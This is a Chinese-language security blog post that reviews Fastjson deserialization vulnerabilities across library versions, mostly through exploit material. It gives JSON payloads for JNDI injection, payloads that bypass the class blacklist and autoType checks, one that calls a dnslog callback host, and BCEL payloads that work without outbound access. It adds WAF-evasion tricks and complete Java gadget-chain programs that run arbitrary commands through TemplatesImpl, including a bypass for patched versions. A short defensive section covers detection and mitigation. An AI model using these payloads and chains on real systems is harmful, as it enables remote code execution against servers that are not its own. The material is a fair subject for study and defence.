【java安全】Fastjson漏洞回顾

简单回顾fastjson漏洞相关知识

漏洞原理

fastjson的反序列化支持传入@type指定反序列化的类,其反序列化通过setter方法进行传值,并且parseObject()方法在反序列化完成后会自动调用toJson方法,从而调用所有字段的getter方法

image

因此可以寻找setter/getter方法包含恶意操作的类从而执行任意代码,以常用的payload:JdbcRowSetImpl为例:

其connect方法存在JNDI注入的可能(sink点)

image

接着找哪里调用了connect方法,找到setAutoCommit​,因此主要传入AutoCommit属性即可调用到setAutoCommit​方法

image

因此payload如下,fastjson会通过setter方法完成属性的赋值,从而调用到 setAutoCommit方法,从而触发jndi注入

    public static void main(String[] args){
		// 高版本jdk复现添加
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String s = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:8085/yfHMXvph\", \"autoCommit\": false}";
        JSON.parse(s);
    }

梳理

fastjson <= 1.2.24

fastjson 默认使用 @type​ 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

1.2.25 <= fastjson <= 1.2.41

引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,基于内置黑名单来实现安全(禁止了一些危险的类), 那么在开启autotype下如何绕过黑名单?

匹配到@type时,会尝试进行loadclass

image

TypeUtils.loadClass​过程中,一些描述符会被处理掉,因此可以用于绕过黑名单image

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://127.0.0.1:8085/yfHMXvph",
	"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.42

在 checkAutoType 中加入判断,如果类的第一个字符是 L​ 结尾是 ;​,则使用 substring进行了去除,但是这种判断完全是徒劳的,因为在最后处理时是递归处理,因此只要对描述符进行双写即可绕过:

image

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"ldap://127.0.0.1:23457/Command8",
	"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.43

用来检查的 checkAutoType​ 代码添加了判断,如果类名连续出现了两个 L​ 将会抛出异常,这样使用 L​、;​ 绕过黑名单的思路就被阻挡了,但是在 loadClass​ 的过程中,还针对 [​ 也进行了处理和递归,利用 [​ 进行黑名单的绕过

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
	{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
	"autoCommit":true
}
1.2.25 <= fastjson <= 1.2.44

checkAutoType​ 中添加了新的判断,如果类名以 [​ 开始则直接抛出异常。

1.2.25 <= fastjson <= 1.2.45

黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,使用黑名单外的类绕过

{
   "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}
1.2.33 <= fastjson <= 1.2.47

在 fastjson 迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

autoTypeSupport 为 true 时,fastjson 也会禁止一些黑名单的类反序列化,但是有一个判断条件:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。

在 autoTypeSupport 为默认的 false 时,程序直接检查并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return这就避开下面 autoTypeSupport 默认为 false 时的检查。

因此先传入白名单类java.lang.Class,使其loadclass利用类com.sun.rowset.JdbcRowSetImpl,过程中会将其放入缓存中。接着尝试反序列化com.sun.rowset.JdbcRowSetImpl类,缓存命中因此绕过了黑名单机制

{
	{
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	{
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "ldap://127.0.0.1:23457/Command8",
		"autoCommit": true
	}
}
fastjson <= 1.2.68

官方在 1.2.48 对漏洞进行了修复,在 MiscCodec​ 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass​ 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()​。

如果函数有 expectClass入参,且我们传入的类名是 expectClass的子类或实现,并且不在黑名单中,就可以通过 checkAutoType()的安全检测。主要使用 Throwable AutoCloseable进行绕过。

{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.jdbc.JDBC4Connection",
  "hostToConnectTo": "127.0.0.1",
  "portToConnectTo": 3306,
  "url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
  "databaseToConnectTo": "test",
  "info": {
    "@type": "java.util.Properties",
    "PORT": "3306",
    "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "autoDeserialize": "true",
    "user": "yso_URLDNS_http://apwaty.dnslog.cn",
    "PORT.1": "3306",
    "HOST.1": "127.0.0.1",
    "NUM_HOSTS": "1",
    "HOST": "127.0.0.1",
    "DBNAME": "test"
  }
}

黑名单列表

https://github.com/LeadroyaL/fastjson-blacklist

POC列表

https://github.com/welk1n/FastjsonPocs

fastjson不出网怎么利用

第一种是TemplatesImpl​类加载字节码做到不出网利用,但需要开启特殊参数实战鸡肋(SupportNonPublicField)

第二种方式是服务端存在tomcat-dbcp.jar​情况下(Tomcat部署下默认存在),使用BasicDataSource​配合BCEL​可实现不出网RCE

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}
{
		"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
		"driverClassName": "true",
		"driverClassLoader": {
			"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
		},
		"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

利用C3P0构造二次反序列化,C3P0是JDBC的一个连接池组件(hex base以及jndi两个Gadget利用链)

绕waf

  • 利用unicode/hex编码,2者可混合使用
  • 特殊符号:多个逗号,下滑线,注释,空格,引号不添加(type后的第一个引号,dataSourceName不加),减号,dataSourceName添加is,/b

自动化检测原理

  • dnslog
  • rmi

流量中如何检测fastjson攻击

特征匹配的方式,@type匹配恶意类,比如

  • TemplatesImp
  • JdbcRowSetImpl
  • JndiDataSourceFactory

如何判断fastjson命令执行成功

对比前面的请求,看是否存在500错误

防御

在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType

怎么判断代码使用了autoType?

JSON.toJSONString(obj, SerializerFeature.WriteClassName); // 这种使用会产生@type

使用Gson或者jackson替换

waf拦截

升级到最新版本

原生反序列化

分析

既然是原生反序列化,那肯定是寻找继承了Serializable​接口的类,最后发现只有两个类:JSONArray​与JSONObject

以第一个JSONArray​类为例,发现没有实现readObject​方法,其继承的JSON​类也没有实现,因此肯定是需要找其它实现了readObject​方法的类进行中转,以触发JSONArray​或者JSON​类当中的方法实现恶意操作

在Json类当中的toString方法能触发toJsonString的调用,而toJsonString又能触发getter方法,因此调用过程:触发toString->toJSONString->get方法

如何触发任意类的toString方法?通过BadAttributeValueExpException

触发get方法很容易想到触发TemplatesImpl的getOutputProperties

利用代码:fastjson1

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

fastjson2

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

调用过程:

BadAttributeValueExpException#readObject
JSONArray#toString
JSONArray#toJSONString
TemplatesImpl#getOutputProperties
....
Runtime#exec

版本限制

Fastjson1版本小于等于1.2.48
Fastjson2目前通杀(目前最新版本2.0.26)

高版本绕过

从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法

image

其修复方式是引入SecureObjectInputStream​,在其中实现resolveClass​,使用checkAutoType​机制进行过滤反序列化类

image

这是典型的不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

ObjectInputStream -> readObject
xxxxxx(省略中间过程)
SecureObjectInputStream -> readObject -> resolveClass

看看什么情况下不会调用resolveClass?让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,以List为例

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

利用的伪代码

TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);
  
WriteObjects(arrayList);

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

通杀方案

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main{
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

资料

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#fastjson2

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C